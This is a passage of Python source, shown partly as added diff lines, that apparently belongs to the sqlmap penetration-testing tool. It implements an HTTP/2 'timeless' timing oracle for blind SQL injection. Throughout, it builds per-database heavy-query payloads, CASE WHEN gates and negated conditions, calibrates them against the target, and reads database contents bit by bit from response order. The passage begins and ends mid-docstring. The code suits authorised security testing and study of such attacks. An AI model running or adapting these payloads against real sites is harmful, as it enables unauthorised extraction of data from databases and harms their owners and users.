`heavy` work iff the condition is TRUE, and its mirror that does the SAME heavy work + iff the condition is FALSE. Exactly one of the pair runs heavy for any given row, so response order + names the bit - with NO SLEEP, purely from the natural cost of `heavy`. Both expressions are valid + booleans (>=0 always holds) so they never change the page, keeping the channel blind. + + `heavy` is a DBMS-specific bounded-cost scalar subquery (a partial scan / expensive function); + `cheap` is a constant. CASE/WHEN is used so the branch is gated deterministically rather than relying + on optimiser short-circuit. + + >>> c, n = buildConditionPair("ORD(x)>64", "SELECT COUNT(*) FROM t") + >>> c + '(CASE WHEN (ORD(x)>64) THEN (SELECT COUNT(*) FROM t) ELSE (0) END)>=0' + >>> n + '(CASE WHEN (ORD(x)>64) THEN (0) ELSE (SELECT COUNT(*) FROM t) END)>=0' + """ + condExpr = "(CASE WHEN (%s) THEN (%s) ELSE (%s) END)>=0" % (condition, heavy, cheap) + negExpr = "(CASE WHEN (%s) THEN (%s) ELSE (%s) END)>=0" % (condition, cheap, heavy) + return condExpr, negExpr + + +def _pairOrder(conn, reqA, reqB, timeout): + """Send reqA and reqB as one coalesced pair; return the stream id that finished FIRST plus the two + stream ids in send order (reqA got the lower id).""" + order, _results = conn.exchange_pair([reqA, reqB], timeout) + loSid = conn.next_sid - 4 + hiSid = conn.next_sid - 2 + return order[0], loSid, hiSid + + +def readBit(conn, reqCond, reqNeg, votes=5, timeout=30): + """Read one boolean by the cond-last FRACTION over symmetric pairs, ESCALATING when the fraction is + ambiguous (load-degraded). + + reqCond does the heavy work iff the guessed condition is TRUE; reqNeg does the SAME heavy work iff the + condition is FALSE (it carries the negated condition). Exactly one runs heavy, so whichever finishes + LAST names the answer. Each vote alternates which stream id carries reqCond (cancels lower-id-first bias) + and counts how often reqCond finished last: + - real TRUE -> reqCond (heavy) finishes last almost every vote -> fraction ~1.0 + - real FALSE -> reqNeg (heavy) finishes last -> fraction ~0.0 + - END-OF-STRING -> the comparison is NULL, and negatePayload's NULL-safe negation makes reqNeg run + heavy on that NULL, so reqCond finishes first -> fraction ~0.0 (on a DBMS that instead ERRORS past + the end - CockroachDB - both requests error and it is a ~0.5 coin flip). + Decision: fraction >= 0.8 -> TRUE; <= 0.5 -> FALSE (covers real-false ~0, NULL end-of-string ~0, and + CockroachDB error end-of-string ~0.5, so the string terminates cleanly instead of inventing phantom + trailing characters). The 0.5-0.8 band is where a genuine TRUE bit lands when self-induced load (e.g. + --threads: N value-parallel workers => ~Nx heavy queries contend and add jitter, though calibration was + single-threaded) drags its fraction down; that is NOT a mean shift but variance, so we ESCALATE - keep + voting up to a cap and average it out - which recovers it above 0.8 without lowering the threshold (a + lower threshold would misread CockroachDB's ~0.5 error-eos as a character). SYMMETRIC, so the base query + time cancels - robust where absolute pair-time, gap, and always-heavy-reference signals are confounded.""" + condLast, i = 0, 0 + cap = votes * 5 # escalation ceiling for ambiguous (load-degraded) bits + while True: + if i % 2 == 0: + first, loSid, _hiSid = _pairOrder(conn, reqCond, reqNeg, timeout) + condSid = loSid + else: + first, _loSid, hiSid = _pairOrder(conn, reqNeg, reqCond, timeout) + condSid = hiSid + if first != condSid: # reqCond finished last -> it ran heavy -> vote says TRUE + condLast += 1 + i += 1 + if i < votes: # gather a minimum sample before deciding + continue + fraction = condLast / float(i) + if fraction >= 0.8: + return True + if fraction <= 0.5: + return False + if i >= cap: # still ambiguous after escalating -> decide by the same threshold + return fraction >= 0.8 + + +def calibrate(conn, reqSlow, reqFast, trials=40, threshold=0.9, timeout=30, progress=None): + """Decide whether the target is usable for the timeless oracle. Sends a KNOWN-asymmetric pair + (reqSlow does real extra work, reqFast short-circuits) in BOTH stream-id orderings; on a concurrent + backend the slow request finishes last regardless of its id. Returns (usable, confidence) where + confidence is the fraction of trials in which the slow request finished last. Below `threshold` the + backend is serializing (or the delta is unreadable) -> caller must NOT use the oracle. `progress`, if + given, is called once per trial so the caller can stream a progress indicator.""" + slowLast = 0 + for i in range(trials): + if i % 2 == 0: + first, loSid, _hiSid = _pairOrder(conn, reqSlow, reqFast, timeout) + slowSid = loSid + else: + first, _loSid, hiSid = _pairOrder(conn, reqFast, reqSlow, timeout) + slowSid = hiSid + if first != slowSid: + slowLast += 1 + if progress is not None: + progress() + confidence = slowLast / float(trials) if trials else 0.0 + return (confidence >= threshold), confidence + + +def connect(host, port=443, proxy=None, timeout=30): + """Open a dedicated HTTP/2 connection for timeless probing (kept separate from the request pool so + its multiplexed pairs never interleave with ordinary single-stream traffic).""" + return _H2Connection(host, port, proxy, timeout) + + +class TimelessOracle(object): + """The engaged timeless-timing oracle, held on kb.timeless while active. queryPage() routes every + boolean comparison (timeBasedCompare requests) here instead of measuring wall-clock time: it takes the + already-assembled condition request (built via buildOnly), pairs it against a FIXED always-heavy + reference and reads the bit from response order. This reuses the entire bisection/inference/threading + stack unchanged - bisection just calls queryPage and gets a bool. + + Thread safety: each worker thread gets its OWN H2 connection (threading.local), mirroring keepalive.py + and the http2 pool - streams from different threads never interleave on one socket, so parallel + per-value extraction (--threads / _threadedInferenceValues) is safe. The reference request is an + immutable spec-derived dict, so it is shared read-only across threads.""" + + def __init__(self, host, port, refReq, proxy=None, asymVotes=12, votes=5, timeout=30): + self.host, self.port, self.proxy = host, port, proxy + self.refReq = refReq # fixed always-heavy reference request (asymmetric tiebreak) + self.asymVotes = asymVotes # asymmetric tiebreak: fixed pairs, fraction-thresholded + self.votes = votes # symmetric: pairs per bit, cond-last fraction thresholded (readBit); + # enough votes that TRUE ~100% and end-of-string ~50% separate cleanly + self.timeout = timeout + self._local = threading.local() + self._conns = [] # every opened connection, for clean teardown + self._lock = threading.Lock() + self.savedTechnique = None # active technique whose vector we swapped (restored on disengage) + self.savedVector = None + + def _conn(self): + conn = getattr(self._local, "conn", None) + if conn is None or not conn.usable: + conn = self._local.conn = connect(self.host, self.port, self.proxy, self.timeout) + with self._lock: + self._conns.append(conn) + return conn + + def readBitFromSpecs(self, condSpec, negSpec=None): + """Read the bit from the assembled condition request and, when available, its negation. With a + negSpec the SYMMETRIC oracle is used (cond-last fraction over votes - base query time cancels, so it + stays reliable on heavy/noisy enumeration queries and detects end-of-string as the ~50% split). The + asymmetric-vs-reference path is only a fallback for a non-sentinel vector (no negSpec) and must not + be used for a heavy-base condition (the trivial-base reference is not comparable). Specs are the + (url, method, headers, post) tuples from getPage(buildOnly=True).""" + reqCond = _specToReq(condSpec, self.host) + if negSpec is not None: + return readBit(self._conn(), reqCond, _specToReq(negSpec, self.host), votes=self.votes, timeout=self.timeout) + return readBitAsymmetric(self._conn(), reqCond, self.refReq, self.asymVotes, self.timeout) + + def close(self): + with self._lock: + for conn in self._conns: + try: + conn.close() + except Exception: + pass + self._conns = [] + + +def engage(host, port, vector, proxy=None, timeout=30): + """Build the fixed always-heavy reference from `vector` (INFERENCE=1=1) and install a per-thread + TimelessOracle on kb.timeless (connections open lazily per worker thread). queryPage picks it up + automatically. Call disengage() when done. `vector` is the tuned rung-2 heavy vector (see tuneHeavy). + The reference is used by the asymmetric tiebreak when a symmetric read splits (end-of-string / noise).""" + from lib.core.data import kb + + refReq = _forgeRequest("1=1", host, vector) + kb.timeless = TimelessOracle(host, port, refReq, proxy=proxy, timeout=timeout) + return kb.timeless + + +def disengage(): + """Tear down the timeless oracle and close all per-thread connections.""" + from lib.core.data import kb + + oracle = kb.get("timeless") + if oracle is not None: + if oracle.savedTechnique is not None: + try: + from lib.core.common import getTechniqueData + getTechniqueData(oracle.savedTechnique).vector = oracle.savedVector + except Exception: + pass + oracle.close() + kb.timeless = None + + +def hintTimeless(): + """Advisory nudge: when a scan is about to rely on TIME-based blind (the slowest channel) and the user + did NOT pass '--timeless', probe the target for HTTP/2 and, if it speaks it, suggest '--timeless' once. + Only fires when time-based is the channel that will actually be used (no faster in-band option) so the + hint is never noise. Purely advisory, never raises, at most one message per run.""" + from lib.core.data import conf, kb + from lib.core.common import isTechniqueAvailable, singleTimeWarnMessage + from lib.core.enums import PAYLOAD + + try: + if conf.get("timeless") or kb.get("timelessHinted"): + return + kb.timelessHinted = True + + # only relevant when time-based is the chosen channel (a faster in-band one would be used instead) + if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): + return + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.BOOLEAN)): + return + + try: + from urllib.parse import urlsplit + except ImportError: + from urlparse import urlsplit + parts = urlsplit(conf.url or "") + if parts.scheme != "https": + return + + # cheap one-connection HTTP/2 ALPN probe: connect() raises unless the server negotiates 'h2' + conn = connect(parts.hostname, parts.port or 443, None, conf.timeout or 30) + conn.close() + singleTimeWarnMessage("target speaks HTTP/2 - switch '--timeless' can extract this time-based injection " + "by relative response order (no delay), typically far faster. Consider re-running with '--timeless'") + except Exception: + pass + + +def autoEngage(): + """Attempt to engage the timeless oracle for the current target's EXTRACTION phase. Called once by + action() after detection (so the heavy vector is swapped in BEFORE any extraction payload is built). + Requires '--timeless', an https/HTTP-2 target, and a confirmed time-based technique on a DBMS with a + light-heavy primitive; calibrates + tunes and only engages if the response-order signal is reliable + (the safety gate) - otherwise the scan silently keeps using classic time-based. Never raises.""" + from lib.core.data import conf, kb, logger + from lib.core.common import Backend + + with _engageLock: + if kb.get("timeless") is not None: + return True + return _doAutoEngage(conf, kb, logger, Backend) + + +def _doAutoEngage(conf, kb, logger, Backend): + try: + if not conf.get("timeless"): + return False + + # Never during detection - that phase confirms the vuln (and runs the false-positive check) by + # measuring REAL induced delays, which response-order would break. kb.testMode is True throughout + # detection and False once extraction begins. + if kb.get("testMode"): + return False + + # Timeless accelerates TIME-based extraction, so it needs a CONFIRMED time-based technique whose + # data carries an [INFERENCE] vector - that vector is what we swap for the tuned heavy one. + from lib.core.enums import PAYLOAD + from lib.core.settings import INFERENCE_MARKER + timeData = kb.injection.data.get(PAYLOAD.TECHNIQUE.TIME) if (kb.injection and kb.injection.data) else None + if not timeData or INFERENCE_MARKER not in (timeData.vector or ""): + return False + + try: + from urllib.parse import urlsplit + except ImportError: + from urlparse import urlsplit + parts = urlsplit(conf.url or "") + if parts.scheme != "https": + logger.warning("'--timeless' requires an https/HTTP-2 target. Falling back to classic time-based") + return False + + host, port = parts.hostname, parts.port or 443 + dbms = Backend.getIdentifiedDbms() + if lightHeavyVector(dbms, LIGHT_HEAVY_COSTS[0]) is None: + logger.warning("'--timeless' has no heavy-query primitive for DBMS '%s' yet. Falling back to classic time-based" % dbms) + return False + + # Calibration sends a few hundred coalesced probe-pairs to measure the target's response-order + # reliability and tune the work size - that is the pause the user sees before engagement. Announce + # it and stream a dot per probe, mirroring the classic time-based "statistical model, please wait". + import time as _time + from lib.core.common import dataToStdout + dataToStdout("[%s] [INFO] calibrating HTTP/2 timeless timing on '%s' (measuring response-order reliability), please wait" % (_time.strftime("%X"), dbms)) + probe = connect(host, port, None, conf.timeout or 30) + # value-parallel dumping runs conf.threads workers concurrently, each firing heavy queries; demand + # that much more calibration margin so the tuned cost survives the self-induced load (see tuneHeavy). + loadFactor = max(1, conf.threads or 1) + try: + vector, cost, confidence = tuneHeavy(probe, dbms=dbms, progress=lambda: dataToStdout('.'), loadFactor=loadFactor) + finally: + probe.close() + dataToStdout(" (done)\n") + + if not vector: + logger.warning("HTTP/2 timeless timing is not usable on this target (confidence %.2f, backend likely serializes streams). Falling back to classic time-based" % confidence) + return False + + oracle = engage(host, port, vector, timeout=conf.timeout or 30) + # Votes per bit for the cond-last fraction: enough that a real TRUE (~100%) clears the 80% threshold + # and end-of-string (~50%) stays below it, with headroom for jitter. A perfectly-calibrated target + # needs fewer; a marginal one gets more. (No validateChar re-check runs under timeless.) + oracle.votes = 5 if confidence >= 1.0 else 9 + + # bisection forges its comparison payloads from the TIME technique's vector - swap in the tuned + # heavy (sentinel) vector NOW (before extraction builds any payload) so every condition request + # gates the heavy branch and carries the sentinels the symmetric oracle negates. Restored on + # disengage(). + oracle.savedTechnique = PAYLOAD.TECHNIQUE.TIME + oracle.savedVector = timeData.vector + timeData.vector = vector + + logger.info("turning on HTTP/2 timeless timing (heavy cost %d, calibration %.2f) - reading bits by response order, no delay" % (cost, confidence)) + return True + except Exception as ex: + from lib.core.common import getSafeExString + logger.warning("HTTP/2 timeless timing setup failed ('%s'). Falling back to classic time-based" % getSafeExString(ex)) + return False + + +# Connection/h2-forbidden request headers that a coalesced pair must not carry (open_url strips the same +# set for single requests); ':authority' replaces Host, and content-length/framing are h2's job. +_FORBIDDEN_HEADERS = frozenset(("host", "connection", "keep-alive", "proxy-connection", + "transfer-encoding", "upgrade", "content-length")) + + +def _specToReq(spec, fallbackAuthority): + """Convert the (url, method, headers, post) tuple that Connect.getPage(buildOnly=True) returns into + the request dict exchange_pair expects.""" + try: + from urllib.parse import urlsplit + except ImportError: + from urlparse import urlsplit + + url, method, headers, post = spec + parts = urlsplit(url) + path = parts.path or "/" + if parts.query: + path += "?" + parts.query + reqHeaders = {} + for key in (headers or {}): + name = key.decode("latin-1") if isinstance(key, bytes) else key + if name.lower() not in _FORBIDDEN_HEADERS: + reqHeaders[key] = headers[key] + return {"method": method, "path": path, "authority": (parts.netloc.split("@")[-1] or fallbackAuthority), + "headers": reqHeaders, "body": post} + + +def getHeavyVector(dbms=None): + """Return the raw heavy-query time-based vector shipped for `dbms` (default: the identified back-end), + reused verbatim as the timeless rung-2 payload - it is already an '... IF/CASE (INFERENCE) THEN + ELSE ...' gate, WAF-tuned and per-DBMS, so the heavy work provides the natural delta with no + SLEEP. Prefers the plain 'AND' boundary variant. Returns None if none is loaded.""" + from lib.core.data import conf + from lib.core.common import Backend + + dbms = dbms or Backend.getIdentifiedDbms() + if not dbms: + return None + + andVector = orVector = None + for test in (conf.tests or []): + title = (test.get("title") or "") + if "heavy query" not in title.lower(): + continue + testDbms = ((test.get("details") or {}).get("dbms")) or "" + testDbms = testDbms if isinstance(testDbms, str) else " ".join(testDbms) + # tolerate combined labels like "Microsoft SQL Server/Sybase" + if not (dbms.lower() in testDbms.lower() or any(part.strip().lower() == dbms.lower() for part in testDbms.split('/'))): + continue + vector = (test.get("vector") or "").strip() + # Only the inband boundary variants splice into a WHERE clause; skip stacked (';...') and inline forms. + if vector.upper().startswith("AND "): + andVector = andVector or vector + elif vector.upper().startswith("OR "): + orVector = orVector or vector + return andVector or orVector + + +# Light, TUNABLE heavy primitives for timeless rung 2. The shipped heavy-query vectors are tuned for +# absolute-timing thresholds (seconds) - e.g. SQLite RANDOMBLOB([SLEEPTIME]00000000/2) is ~50MB/request - +# which is both needlessly slow AND a DoS risk. Timeless only needs a few milliseconds above the target's +# scheduling noise, so we generate the SAME bounded-work idioms (series / catalog cross-joins) capped by a +# [COST] the calibrator dials UP from a small default until the response-order signal is reliable. That +# self-tunes to the lightest payload that works - fast, and never allocates a huge blob. +# [COST] is replaced with a row count; each primitive is a scalar sub-select doing ~[COST] units of +# bounded work. Grouped by dialect and keyed on sqlmap's canonical DBMS names (DBMS.* enum) so a fork +# (MariaDB->MySQL, CockroachDB->PostgreSQL, ...) resolves via its base DBMS, and there is no string drift. +# A DBMS absent here (or whose primitive is wrong on a given target) simply fails calibration and the scan +# falls back to classic time-based - the light-heavy is always safety-gated, never applied blind. +# +# SCOPE: timeless layers on top of a DETECTED time-based technique, so it can only ever engage on a DBMS +# that ships a time-based payload (data/xml/payloads/time_blind.xml): PostgreSQL, MySQL (+MariaDB/TiDB), +# Oracle, Microsoft SQL Server, Sybase, SQLite, Firebird, ClickHouse, IBM DB2, Informix, HSQLDB, SAP MaxDB. +# Engines with NO time-based payload (H2, MonetDB, CrateDB, Vertica, Presto/Trino, Snowflake) are never +# detected as injectable via time, so a light-heavy primitive for them is dead code - they are NOT listed. +# +# GATING & SAFETY: the heavy work must run for exactly ONE of a boolean condition and its negation, so +# response ORDER names the bit. It is gated by the shipped-vector shape `[RANDNUM]=(CASE WHEN (cond) THEN +# () ELSE [RANDNUM] END)` - the THEN branch does the work iff cond holds, the ELSE is a cheap literal. +# Some optimisers HOIST an uncorrelated scalar subquery out of the CASE and run it in BOTH branches (seen on +# TiDB with `(SELECT BENCHMARK(N,MD5(1)))`; MySQL 8.4 does not). That is not a correctness hazard here: when +# both branches do equal work the measured delta is ~0, so tuneHeavy's MIN_HEAVY_MS gate REJECTS the rung +# and the scan falls back to classic time-based - correct data, just no timeless speedup. Corruption only +# ever came from ENGAGING with a tiny-but-nonzero delta that flips under load; requiring MIN_HEAVY_MS of +# real server-side delay (not just a reliable idle order) is the fix for that, and it is primitive-agnostic. +# So the rule is simply: pick the strongest per-DBMS bounded primitive; if a target hoists/folds it to a +# sub-threshold delta, it safely falls back. Keyed on DBMS.* so forks resolve via their base DBMS +# (MariaDB/TiDB->MySQL, CockroachDB->PostgreSQL). +_LH_MYSQL = "(SELECT BENCHMARK([COST],MD5(1)))" # MySQL/MariaDB: CPU burn, O(1) memory (TiDB hoists -> safe fallback) +_LH_MSSQL = "(SELECT LEN(HASHBYTES('SHA2_512',REPLICATE(CAST('a' AS VARCHAR(MAX)),[COST]))))" # MSSQL/Sybase (VARCHAR(MAX) bypasses REPLICATE's 8000-byte cap) + +LIGHT_HEAVY = { + DBMS.PGSQL: "(SELECT COUNT(*) FROM GENERATE_SERIES(1,[COST]))", # PG materialises the series + DBMS.MYSQL: _LH_MYSQL, + DBMS.MSSQL: _LH_MSSQL, + DBMS.SYBASE: _LH_MSSQL, + DBMS.ORACLE: "(SELECT COUNT(*) FROM DUAL CONNECT BY LEVEL<=[COST])", + # recursive CTE - rows depend on the previous, so the engine must produce them one by one (never folded) + DBMS.SQLITE: "(SELECT COUNT(*) FROM (WITH RECURSIVE _c(_x) AS (SELECT 1 UNION ALL SELECT _x+1 FROM _c LIMIT [COST]) SELECT _x FROM _c))", + # ClickHouse ships a time-based payload; a plain COUNT folds (columnar) so force a per-row hash + DBMS.CLICKHOUSE: "(SELECT COUNT(*) FROM numbers([COST]) WHERE MD5(toString(number))='zz')", + # Firebird best-effort: no generator, recursion<=1024, strings<=32 KB -> fixed system-catalog cross-join + DBMS.FIREBIRD: "(SELECT SUM(a.RDB$RELATION_ID) FROM RDB$RELATIONS a, RDB$RELATIONS b, RDB$RELATIONS c)", + # NOTE: DB2/Informix/HSQLDB/SAP MaxDB ship time-based payloads but have no validated light-heavy here -> + # no entry -> they gracefully fall back to classic time-based (SLEEP/heavy-query) extraction. +} + +# Ascending cost ladder tuneHeavy walks ([COST] = generator rows / recursion depth / BENCHMARK iterations / +# string length). It escalates until the MEASURED server-side heavy delta is >= MIN_HEAVY_MS (a real time +# margin so bits don't flip under extraction load) AND the response-order calibrates reliably. The same +# [COST] costs very different time per primitive (a generator row << a BENCHMARK MD5 iteration), so the +# ladder is walked by measured time, not a fixed floor - each engine lands on whatever rung first clears the +# margin. The low rungs let CPU-dense primitives land near 20-60 ms instead of overshooting. Top is 4M so +# string primitives allocate at most ~4 MB (memory-safe, no spill/DoS). If even 4M can't reach MIN_HEAVY_MS +# reliably the target is too noisy/fast-to-read -> fall back to classic. Correctness beats ms - a flip means +# re-extract. +LIGHT_HEAVY_COSTS = (20000, 60000, 200000, 600000, 2000000, 4000000) +MIN_HEAVY_MS = 15.0 # required server-side heavy delta; ~15 ms clears realistic multi-hop extraction-load jitter +# The heavy/cheap PAIR separation must also be >= this fraction of the base (cheap) pair time - an absolute +# floor alone is marginal on a slow multi-hop path (a 15 ms margin on a ~50 ms base flips ~10% of bits under +# load); requiring a relative margin makes such a target climb to a robustly-separated cost. See tuneHeavy. +MIN_SEPARATION_FRAC = 0.5 + +# DBMSes whose primitive is a bounded GENERATOR whose row count sits in the [COST] slot. For these the bit +# gates the WORK AMOUNT (the count) rather than selecting between a heavy and a cheap CASE branch. This is +# what makes the oracle survive optimisers that DECORRELATE/HOIST an uncorrelated scalar subquery out of a +# CASE and run it in BOTH branches (observed on CockroachDB with GENERATE_SERIES for a non-foldable +# condition - the false branch still materialised the full series, so cond and neg were BOTH heavy and the +# response order was a coin flip -> corruption). With the count itself computed from the bit +# (GENERATE_SERIES(1, CASE WHEN cond THEN [COST] ELSE 1)) there is no constant subquery to hoist: the engine +# must evaluate the CASE first and only then generate that many rows, so exactly one of cond/neg does the +# work. CONNECT BY LEVEL<=expr and LIMIT expr are standard, so Oracle/SQLite use the same form. Validated +# end-to-end on CockroachDB (was corrupting, now reads 1.00) and PostgreSQL (still engages, unchanged). +_GATED_COST = frozenset((DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE)) + + +# Inert SQL-comment sentinels bracketing the injected comparison inside the heavy vector. They let the +# oracle build the exact NEGATED payload (heavy-iff-false) from the forged condition payload by a single +# regex - enabling the SYMMETRIC oracle (condition vs its negation, exactly one runs heavy, 1 pair reads +# the bit both ways) without any change to bisection. Comments are ignored by the DBMS parser. +INFERENCE_BEGIN = "/*tlb*/" +INFERENCE_END = "/*tle*/" + + +def lightHeavyVector(dbms, cost): + """Return the timeless rung-2 vector for `dbms` doing ~`cost` units of bounded work (or None if no + primitive is defined). The INFERENCE slot is bracketed with sentinels so negatePayload() can derive the + mirror for the symmetric oracle (condition vs its negation, exactly one runs heavy). + + Two gating shapes, both flowing through the exact same payload machinery: + - GENERATOR primitives (see _GATED_COST): the bit is placed INSIDE the row-count bound + (GENERATE_SERIES(1, CASE WHEN cond THEN [COST] ELSE 1)), so there is no constant subquery for an + optimiser to hoist out of a CASE and run in both branches - the count itself depends on the bit. + - Everything else: the classic '[RANDNUM]=(CASE WHEN cond THEN ELSE [RANDNUM])' branch, used + where the cost slot must stay constant (MySQL BENCHMARK) or there is no numeric cost (Firebird); + these engines were validated not to hoist. + Either way tuneHeavy's MIN_HEAVY_MS gate + faithful (uncorrelated) calibration mean a target that still + manages an unreadable delta simply fails calibration and falls back to classic - never corrupts.""" + primitive = LIGHT_HEAVY.get(dbms) + if not primitive: + return None + if dbms in _GATED_COST: + gate = "(CASE WHEN (%s[INFERENCE]%s) THEN %d ELSE 1 END)" % (INFERENCE_BEGIN, INFERENCE_END, int(cost)) + heavy = primitive.replace("[COST]", gate) + return "AND [RANDNUM]<%s" % heavy + heavy = primitive.replace("[COST]", str(int(cost))) + return "AND [RANDNUM]=(CASE WHEN (%s[INFERENCE]%s) THEN (%s) ELSE [RANDNUM] END)" % (INFERENCE_BEGIN, INFERENCE_END, heavy) + + +def negatePayload(value): + """Return `value` with the sentinel-bracketed comparison replaced by a NULL-SAFE negation, or None if + no sentinel pair is present (a non-timeless vector). Used to build the symmetric oracle's negated + request (the request whose heavy branch must run iff the condition does NOT hold). + + The negation is `(CASE WHEN (cond) THEN 1 ELSE 0 END)=0`, which is TRUE iff `cond` is false OR NULL - + NOT plain `NOT(cond)`. This is the end-of-string fix: past the end of a string the comparison + (ASCII(SUBSTR(...))>n) is NULL, and `NOT(NULL)` is NULL, so with plain NOT NEITHER the condition nor + its negation forces the heavy branch - both requests stay cheap and the response order is left to + secondary noise (measured ~0.6 cond-last on Oracle, not a clean coin flip), which invents phantom + trailing characters. With the CASE form the negation's ELSE catches NULL, so at end-of-string the + NEGATION request runs heavy and the condition request stays cheap: the condition finishes first every + vote (fraction ~0), read as False, and the string terminates cleanly. CASE + integer '=0' is portable + across every DBMS (unlike `IS NOT TRUE`).""" + import re + + pattern = re.compile(r"%s(.*?)%s" % (re.escape(INFERENCE_BEGIN), re.escape(INFERENCE_END))) + if not pattern.search(value or ""): + return None + return pattern.sub(lambda m: "%s(CASE WHEN (%s) THEN 1 ELSE 0 END)=0%s" % (INFERENCE_BEGIN, m.group(1), INFERENCE_END), value) + + +def _pairMs(conn, reqA, reqB, samples=5, timeout=30): + """Median wall-clock of the coalesced PAIR (reqA, reqB) until BOTH streams finish - tracks the heavy + branch when one is heavy, bare round-trip when none. Used for the reliability/separation gate that + decides which cost to engage at (see tuneHeavy).""" + import time as _t + + ts = [] + for _ in range(samples): + s = _t.time() + _pairOrder(conn, reqA, reqB, timeout) + ts.append((_t.time() - s) * 1000.0) + return sorted(ts)[samples // 2] + + +def _calibrationConditions(dbms): + """Return (trueCond, falseCond): a KNOWN-true and KNOWN-false boolean of the SAME shape real + extraction injects - the per-DBMS inference comparison applied to the version banner, i.e. an + UNCORRELATED, non-constant-foldable predicate (e.g. ASCII(SUBSTRING((VERSION())::text FROM 1 FOR 1))>1 + for true, >255 for false). This matters because some optimisers (CockroachDB, TiDB, ...) HOIST the + uncorrelated heavy subquery out of the CASE and run it in BOTH branches for such a predicate, while a + CONSTANT-foldable probe like '1=1'/'1=0' lets them prune the dead branch at plan time - so calibrating + with the constant sees a clean heavy delta the REAL extraction never has and engages straight into + corruption (bits become a coin flip). Calibrating with the faithful predicate makes a hoisting target + measure ~0 server-side delta on every rung, so tuneHeavy's MIN_HEAVY_MS gate rejects it and the scan + safely falls back to classic time-based. Falls back to the constant probes when the DBMS ships no + inference/banner template (calibration still gates, just without the hoist check).""" + from lib.core.data import queries + + try: + entry = queries[dbms] + template = entry.inference.query # e.g. 'ASCII(SUBSTRING((%s)::text FROM %d FOR 1))>%d' + banner = entry.banner.query # e.g. 'VERSION()' / 'SELECT @@VERSION' + # int value works for both '>%d' and quoted-char '>%c' templates (chr(1)/chr(255) stay in-range) + return (template % (banner, 1, 1), template % (banner, 1, 255)) + except Exception: + return ("1=1", "1=0") + + +def tuneHeavy(conn, dbms=None, trials=50, threshold=0.97, timeout=30, progress=None, loadFactor=1): + """Walk the cost ladder and return (vector, cost, confidence) for the LIGHTEST rung-2 heavy + that is BOTH (a) big enough in absolute server-side time (>= MIN_HEAVY_MS) to survive extraction load, + and (b) whose response-order signal calibrates as reliable. Returns (None, None, best_confidence) if + none qualifies. + + Requirement (a) is the fix for the fixed-[COST]-means-different-time trap: PostgreSQL generate_series(N) + and MySQL SHA2(REPEAT('a',N)) at the SAME N differ ~10x in wall time, so a fixed floor that is fine for a + generator is a ~1-2 ms nothing for a hash - which calibrates fine IDLE (order reliable) then flips bits + under load. Measuring the real delta and requiring a margin makes the tuning primitive-agnostic and + load-robust; on a fast single-hop backend the smallest qualifying cost is still tiny.""" + from lib.core.common import Backend + + dbms = dbms or Backend.getIdentifiedDbms() + # Probe with the faithful (uncorrelated, non-foldable) extraction predicate, NOT constant 1=1/1=0, so a + # target that hoists the heavy subquery out of the CASE (running it in both branches) is measured with + # ~0 delta and rejected here instead of engaging into corruption. See _calibrationConditions(). + trueCond, falseCond = _calibrationConditions(dbms) + best = 0.0 + for cost in LIGHT_HEAVY_COSTS: + vector = lightHeavyVector(dbms, cost) + if not vector: + return (None, None, 0.0) + reqSlow = _forgeRequest(trueCond, conn.host, vector) + reqFast = _forgeRequest(falseCond, conn.host, vector) + # Measure the coalesced-PAIR times: a one-heavy pair (reqSlow vs reqFast) and a no-heavy pair + # (reqFast vs reqFast). Their separation decides whether a real bit's response ORDER is readable + # (the reliability gate that picks which cost to engage at). + try: + heavyPair = _pairMs(conn, reqSlow, reqFast, timeout=timeout) + cheapPair = _pairMs(conn, reqFast, reqFast, timeout=timeout) + except Exception: + heavyPair = cheapPair = 0.0 + separation = heavyPair - cheapPair + # Reliability gate: the separation must clear an ABSOLUTE floor AND a FRACTION of the base (cheap) + # pair time. An absolute-only floor is enough on a fast single-hop path (cockroach base ~8 ms, a + # 16 ms separation is 2x the base) but marginal on a slow multi-hop one: on Oracle the base pair is + # ~50 ms, so a 15 ms separation is swamped by round-trip jitter under extraction load and ~10% of + # TRUE bits flip - even though it calibrates clean IDLE. Requiring separation >= a fraction of the + # base forces such a target to climb to a cost whose margin survives load (Oracle 60k sep 15 ms -> + # reject -> 200k sep 61 ms -> 0 flips). A fast path is unaffected (its base is tiny). + # `loadFactor` (= worker thread count) scales the required margin: N value-parallel workers each + # fire a heavy query, so the server sees ~Nx load during extraction that single-threaded calibration + # does not, dragging a marginal bit's cond-last fraction into the ambiguous band. Demanding N x the + # separation here climbs to a cost whose bigger delta keeps the fraction ~1.0 even under that load. + if separation < MIN_HEAVY_MS * loadFactor or separation < cheapPair * MIN_SEPARATION_FRAC * loadFactor: + if progress is not None: + progress() + continue # margin too thin to survive load -> escalate cost + usable, confidence = calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold, timeout=timeout, progress=progress) + best = max(best, confidence) + if usable: + return (vector, cost, confidence) + return (None, None, best) + + +def _forgeRequest(inferenceExpr, authority, vector=None): + """Forge the full HTTP request sqlmap would send for a payload carrying `inferenceExpr` at the + INFERENCE_MARKER slot of `vector` (default: the current technique's vector), but capture it + (buildOnly) instead of sending - ready to coalesce. Late placeholders ([RANDNUM]/[SLEEPTIME]/...) + are filled by agent.payload just like a normal request.""" + from lib.core.agent import agent + from lib.core.common import getTechniqueData + from lib.core.settings import INFERENCE_MARKER + from lib.request.connect import Connect + + vector = vector if vector is not None else getTechniqueData().vector + forged = agent.suffixQuery(agent.prefixQuery(vector.replace(INFERENCE_MARKER, inferenceExpr))) + spec = Connect.queryPage(agent.payload(newValue=forged), buildOnly=True) + return _specToReq(spec, authority) + + +def readBitLive(conn, condition, vector=None, votes=1, timeout=30): + """Read one boolean from the LIVE injection point by timeless timing. `condition` is the comparison + bisection injects (e.g. 'ORD(...)>64'). The condition request carries it at INFERENCE_MARKER, the + negation request carries NOT(condition); with a heavy-query `vector` exactly one runs the heavy work, + so response order names the bit - no SLEEP. `vector` defaults to the current technique's vector + (rung 1, bare boolean natural delta); pass getHeavyVector() for rung 2. Returns True iff condition holds.""" + reqCond = _forgeRequest(condition, conn.host, vector) + reqNeg = _forgeRequest("NOT(%s)" % condition, conn.host, vector) + return readBit(conn, reqCond, reqNeg, votes=votes, timeout=timeout) + + +def readBitAsymmetric(conn, reqCond, reqRef, votes=12, timeout=30): + """Read one boolean WITHOUT the negated 